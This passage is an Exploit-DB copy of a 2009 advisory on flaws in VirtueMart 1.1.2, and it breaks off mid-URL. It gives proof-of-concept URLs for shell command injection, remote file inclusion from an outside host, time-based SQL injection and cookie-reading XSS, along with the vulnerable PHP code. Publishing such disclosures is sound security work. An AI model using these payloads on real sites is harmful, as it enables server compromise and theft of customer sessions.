Exploit-DB #8327
Description: virtuemart 1.1.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-03-31
Author: waraxe

Exploit:
Author: Janek Vind "waraxe"
Date: 24. January 2009
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-71.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

VirtueMart is an Open Source E-Commerce solution to be used together with a
Content Management System (CMS) called Joomla! (and Mambo). Joomla! and
VirtueMart are written in PHP and made easy for use in a PHP/MySQL environment.

Homepage: http://virtuemart.net/

VirtueMart Joomla eCommerce Edition is affected by same vulnerabilities.


List of found vulnerabilities
===============================================================================

1. Remote Shell Command Execution in "shop.pdf_output.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: high
Preconditions:
1. *nix (non-Windows) server
2. file "/usr/bin/htmldoc" must exist

Problematic source code:
-----------------------------------------------------------
$showpage = vmGet( $_REQUEST, 'showpage');
...
if (@file_exists( "/usr/bin/htmldoc" )) {

$load_page = $mosConfig_live_site . "/index2.php?option=com_virtuemart&
page=$showpage&flypage=$flypage&product_id=$product_id
&category_id=$category_id&pop=1&hide_js=1&output=pdf";
...
passthru( "/usr/bin/htmldoc --no-localfiles --quiet -t pdf14 --jpeg
--webpage --header t.D --footer ./. --size letter --left 0.5in '$load_page'" );
-----------------------------------------------------------

As seen from code snippet above, user submitted parameter "showpage"
is used in unsafe manner without proper sanitization in interaction with
operating system shell. This vulnerability allows an attacker to execute
remote shell commands on the target server.

Example attack url:

http://localhost/virtuemart112/index.php?page=shop.pdf_output
&option=com_virtuemart&showpage=';[shell command]



2. Remote File Inclusion in "show_image_in_imgtag.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: high
Preconditions:
1. register_globals=on
2. allow_url_fopen=on (PHP < 5.2.0)
3. allow_url_include=on (PHP >= 5.2.0)

Test:

http://localhost/virtuemart112/components/com_virtuemart/show_image_in_imgtag.php?
mosConfig_absolute_path=http://www.waraxe.us


3. Remote File Inclusion in "export.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: high
Preconditions:
1. register_globals=on
2. allow_url_fopen=on (PHP < 5.2.0)
3. allow_url_include=on (PHP >= 5.2.0)

Test:

http://localhost/virtuemart112/administrator/components/com_virtuemart/export.php?
mosConfig_absolute_path=http://www.waraxe.us



4. Sql Injection in "shop_browse_queries.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: high
Preconditions: none
Comments:
1. This is blind sql injection

Test 1:

http://localhost/virtuemart112/index.php?page=shop.browse
&option=com_virtuemart&DescOrderBy=waraxe

Result (with Debug mode turned on):

500 - JDatabaseMySQL::query: 1064 - You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near 'waraxe LIMIT 0, 20' at line 11

Test 2:

http://localhost/virtuemart112/index.php?DescOrderBy=
,BENCHMARK(1000000,MD5(123))&option=com_virtuemart&page=shop.browse

Result: response delay as expected


Problematic source code:
----------------------------------------------
// Descending or Ascending Order? possible values: [ASC|DESC]
$DescOrderBy = $vmInputFilter->safeSQL( $vm_mainframe->getUserStateFromRequest
( "browse{$keyword}{$category_id}{$manufacturer_id}DescOrderBy", 'DescOrderBy', "ASC" ) );
...
$q .= "
ORDER BY $orderbyField $DescOrderBy";
...
$list .= $q . " LIMIT $limitstart, " . $limit;
...
$db_browse->query( $list );
----------------------------------------------

Use of "safeSQL()" does not make it secure!



5. Reflected XSS in "shop.downloads.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: medium
Preconditions: none

Test:

http://localhost/virtuemart112/index.php?func=downloadRequest&option=com_virtuemart
&page=shop.downloads&download_id="><script>alert(document.cookie);</script>


6. Reflected XSS in "mod_virtuemart_currencies.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: medium
Preconditions:
1. Currency Selector module must be enabled

Test:

http://localhost/virtuemart112/?"><script>alert(123);</script>

Problematic source code:
----------------------------------------------
if( !empty( $_POST )) {
foreach( $_POST as $key => $val ) {
if( $key == 'product_currency' || is_array($val) ) continue;
$val = htmlspecialchars($val, ENT_QUOTES);
echo "<input type="hidden" name="$key" value="$val" />
";
}
}
elseif( !empty( $_GET )) {
foreach( $_GET as $key => $val ) {
if( $key == 'product_currency' || is_array($val) ) continue;
echo "<input type="hidden" name="$key"
value="".htmlspecialchars($val, ENT_QUOTES)."" />
";
}
}
----------------------------------------------



7. Reflected XSS in "notify.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: medium
Preconditions: none

Test goes through POST, using html like this:
----------------------------------------------
<html><body><center>
<form action="http://localhost/virtuemart112/administrator/
components/com_virtuemart/notify.php" method="post">
<input type="hidden" name="waraxe" value=
"<script>alert(document.cookie);</script>">
<input type="submit" value="Test!">
</form>
</center></body></html>
----------------------------------------------


8. Sql Injection in "mod_virtuemart_manufacturers.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Security risk: medium
Preconditions:
1. Manufacturers module must be enabled
2. magic_quotes_gpc=off

Test:

http://loca